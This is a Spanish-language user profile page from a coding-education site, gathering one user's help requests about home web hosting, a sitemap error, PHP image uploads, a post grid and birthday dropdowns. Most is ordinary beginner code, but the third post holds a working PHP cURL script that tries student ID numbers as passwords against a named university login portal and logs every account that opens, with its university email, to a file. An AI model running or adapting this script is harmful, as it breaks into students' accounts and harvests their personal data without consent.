HM
Humberto Molina López

@humbertomolinalopez

Hola, la verdad me entusiasma mucho crear una pagina web, ya cree una en wordpress, pero en host gratis, y quiero hacer un hosting en mi casa con mi internet.

he visto que si se puede, pero no tengo una idea clara de como lo hago paso a paso, nose si haya algun curso gratis que enseñe eso fácilmente y eso, porfa, inclusive si hay un libro por ahi porfa, ando con ubuntu 18.04lts, y es en el que mas he podido manejar desde una maquina virtual.

HM
Humberto Molina López

@humbertomolinalopez

Hola, resulta q hay un problema nose si lo tengan o lo hayan solucionado, pero al intentar agregar mi sitemap a google con search console(nueva version) no lee mi sitemap, tiene el formato que debe de ser, pero nose q pase incluso ya he hecho mi sitemap con generadores de sitemap y nada, mismo error, pero e notado que el error no pasa en blogger y al descargar el archivo aparece como xml y si lo hago con el sitemap de mi pagina en dominio no de blogger sale al descargar el sitemap aparece sitemap.xml.html nose q sea porfavor, no he podido desde hace rato sitemap de blogger: https://bertomolinayt.blogspot.com/sitemap.xml

sitemap de 000webhost https://bmlearn.000webhostapp.com/sitemap.xml

https://bertomolinayt.blogspot.com/sitemap.xml

HM
Humberto Molina López

@humbertomolinalopez

hola, tengo esa duda, esque he visto videos de gente que lo hace asi, pero no los entiendo muy bien, quiero ejecutar un codigo en consola ya que con la consola de VS code no me deja lenguaje

<?php // abrimos la sesión cURL $ch = curl_init(); $tipo_clave = "01"; //01 estudiante y 02 maestro // definimos la URL a la que hacemos la petición curl_setopt($ch, CURLOPT_URL, "http://deimos.dgi.uanl.mx/cgi-bin/wspd_cgi.sh/eselcarrera.htm"); // indicamos el tipo de petición: POST //"http://deimos.dgi.uanl.mx/cgi-bin/wspd_cgi.sh/default.htm" curl_setopt($ch, CURLOPT_POST, TRUE); $file = fopen("cuentas.txt", "w"); //hacemos el ciclo de las matriculas for ($i = 1325433; $i < 2000000; $i++) { $matricula = $i; $contrasena = $matricula; // definimos cada uno de los parámetros curl_setopt($ch, CURLOPT_POSTFIELDS, "HTMLTipCve=" . $tipo_clave . "&amp;HTMLUsuCve=" . $matricula . "&amp;HTMLPassword=" . $contrasena . "&amp;HTMLPrograma="); // recibimos la respuesta y la guardamos en una variable curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $pagina = curl_exec($ch); //print($pagina); //condicional para saber si se paso de el mensaje de logo y si tiene correo universitario $mensaje = substr($pagina, 589, 11); //Advertencia $correo_universitario = strpos($pagina, "@uanl.edu.mx</p>"); //si la cuenta se puede acceder y tiene correo universitario if ($mensaje != "Advertencia" &amp;&amp; $correo_universitario) { $final_texto = $correo_universitario + 12; $correo = substr($pagina, 0, $final_texto); $correo = strrev($correo); $tagParrafo = strpos($correo, ">"); $correo = strrev(substr($correo, 0, $tagParrafo)); fputs($file, $correo . "\n" . $matricula . "\n"); //falta copiar el correo :v de office 365 print($correo . "\n" . $matricula . "\n"); } else { //print($matricula . "\n"); } } // cerramos la sesión cURL curl_close($ch); fclose($file); // hacemos lo que queramos con los datos recibidos ```lenguaje ```
HM
Humberto Molina López

@humbertomolinalopez

lo que deberia hacer el programa es editar un articulo de una base de datos y cambiar la imagen por id que al mismo tiempo se agrega en otra tabla. el problema es que no sube la imagen.

este funciona es para que sepan que si se que funciona el codigo

<?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { //no quiere subirse el archivo a la carpeta !! >:O if(empty($thumb['name'])){ $archivo_subido = $_FILES['thumb']['name']; move_uploaded_file($_FILES['thumb']['tmp_name'], $archivo_subido); } } ?><form action="<?= htmlspecialchars($_SERVER['PHP_SELF']); ?>" enctype="multipart/form-data" method="POST"> <div class="form-group"> <label>Imagen: <input type="file" name="thumb" class="form-control-file"> </label> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Modificar Articulo" name=""> </div> </form> ```PHP ```

este es el codigo que no funciona

<?php session_start(); require './config.php'; require '../funciones.php'; comprobar_sesion(); $conexion = conexion($db_config); if ($_SERVER['REQUEST_METHOD'] == 'POST') { date_default_timezone_set("America/Monterrey"); $id = limpiarDatos($_POST['id']); $titulo = limpiarDatos($_POST['titulo']); $contenido = $_POST['contenido']; $thumb = $_FILES['thumb']['tmp_name']; $thumb_guardada = $_POST['thumb-guardada']; $thumb_id = $_POST['id-thumb']; $tags = $_POST['tags']; $autor = 56; $fecha_publicacion = date("Y-m-d"); //falta subir la imagen en otra tabla if (empty($thumb['name'])) { $thumb = $thumb_id; } else { //no quiere subirse el archivo a la carpeta !! >:O $archivo_subido = $_FILES['thumb']['name']; move_uploaded_file($_FILES['thumb']['tmp_name'], $archivo_subido); } $statement = $conexion->prepare( 'UPDATE blogs SET titulo = :titulo, contenido = :contenido, autor = :autor, fecha_publicacion = :fecha_publicacion, thumb = :thumb, visitas = :visitas WHERE id_blog = :id_blog' ); $statement->execute(array( ':titulo' => $titulo, ':contenido' => $contenido, ':autor' => $autor, ':fecha_publicacion' => $fecha_publicacion, ':thumb' => $thumb, ':visitas' => null, ':id_blog' => $id )); header('Location: ' . RUTA . 'admin/'); } else{ $id_articulo = id_articulo($_GET['id']); if (empty($id_articulo)) { header('Location: ' . RUTA . '/admin'); } $post = obtener_post_por_id($conexion, $id_articulo)[0]; if (!$post) { header('Location: ' . RUTA . 'admin/'); } } require '../views/editar.view.php'; <?php require '../header.php'; ?><style> .boxsizingBorder { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } </style><div class="container"> <h1>Editar articulo</h1> <form action="<?= htmlspecialchars($_SERVER['PHP_SELF']); ?>" enctype="multipart/form-data" method="POST"> <input type="hidden" name="id" value="<?= $post['id_blog']; ?>">
    <div class="form-group">
        <label for="titulo">Titulo:</label>
        <input type="text" name="titulo" value="<?= $post['titulo']; ?>" class="form-control" id="titulo">
    </div>

    <div class="form-group">
        <label for="exampleFormControlTextarea1">Contenido:</label>
        <textarea name="contenido" class="form-control" id="exampleFormControlTextarea1" rows="3"><?= $post['contenido']; ?></textarea>
    </div>

    <div class="form-group">
        <label>Poster:
            <input type="file" name="thumb" class="form-control-file">
        </label>
    </div>

    <div class="form-group">
        <input type="hidden" name="thumb-guardada" value="<?= RUTA . $blog_config['carpeta_imagenes'] . obtener_imagen($conexion, $post['thumb']) ?>">
    </div>

    <div class="form-group">
        <label for="id-thumb">ID thumb:</label>
        <input type="text" name="id-thumb" value="<?= $post['thumb']; ?>" class="form-control" id="titulo">
    </div>

    <div class="form-group">
        <img src="<?= RUTA . $blog_config['carpeta_imagenes'] . obtener_imagen($conexion, $post['thumb']) ?>">
    </div>

    <div class="form-group">
        <label for="titulo">Tags:</label>
        <input type="text" name="tags" value="<?= $post['thumb']; ?>" class="form-control" id="titulo">
    </div>
    
    <div class="form-group">
        <input type="submit" class="btn btn-primary" value="Modificar Articulo">
    </div>
</form>
</div> <script src="ckeditor/ckeditor.js"></script> <script> CKEDITOR.replace("contenido"); </script> <?php require 'footer.view.php'; ?>

no funciona nose si sea por un input del formulario(lo que mas sospecho) pero ya no se que mas intentar

HM
Humberto Molina López

@humbertomolinalopez

Este es el codigo que utilizo pero nose como hacer que no aparezcan los 2 últimos que no existen

<?php for($i=0;$i < count($posts) ;$i=$i+3):?>
<div class="container">
    <div class="row">
        <?php for($y = 0; $y < 3; $y++) :?>
        <div class="col bg-light pb-5">
            <article class="contenedor-galeria">
                <a class="text-decoration-none" href="#">   
                    <img class="contenedor-banner" src="<?php echo $posts[$y+$i]['thumb']?>">
                    <h5><?php echo $posts[$y+$i]['titulo'];?></h5>
                    <p><?php echo $posts[$y+$i]['id_blog'];?></p>
                </a>
            </article>
        </div>
        <?php endfor;?>
    </div>
</div>
<?php endfor;?> ```lenguaje ``` ```lenguaje ``` ```lenguaje ``` ```lenguaje ```
HM
Humberto Molina López

@humbertomolinalopez

Esque no aparece todos los numeros de el option y el codigo es el sig

<div class="form-group">
        <div class="btn-group " role="group">
            <select class="form-control" name="birthday_day">
                <option selected>Dia</option>
                <?php
                for($i=1;$i<32;$i++){
                    echo "<option value='$i'>$i</option>";
                }
                ?>
            </select>

            <select class="form-control" name="birthday_month">
                <option selected>Mes</option>
                <?php
                for($i=1;$i<13;$i++){
                    echo "<option value='$i'>$i</option>";
                }
                ?>
            </select>

            <select class="form-control" name="birthday_year">
                <option selected>Año</option>
                <?php
                $i= date("Y") - 114;
                for($i;$i<=date("Y");$i++)
                {
                    echo "<option value='".$i."'>".$i."</option>";
                }
                ?>
            </select>
        </div>
    </div>

Este usuario no ha indicado que le gusta algún video

Amigos

Humberto aún no tiene un enlace de referidos

Si eres estudiante premium ya tienes el enlace en tu perfil de usuario. Si aún no eres premium recibirás tu enlace de referidos como recompensa cada vez que completes un curso gratuito.

Más información

Estos son los beneficios que tú y Humberto recibirán si compras con su enlace de referidos 🙌

BeneficiosMensualSemestralAnual
Descuento ()$ 3 USD$ 15 USD$ 30 USD
Semanas gratis (Humberto)1612

Al comprar con el enlace de referidos aceptas los términos y condiciones

Publicaciones
Certificados
Me gusta
Referidos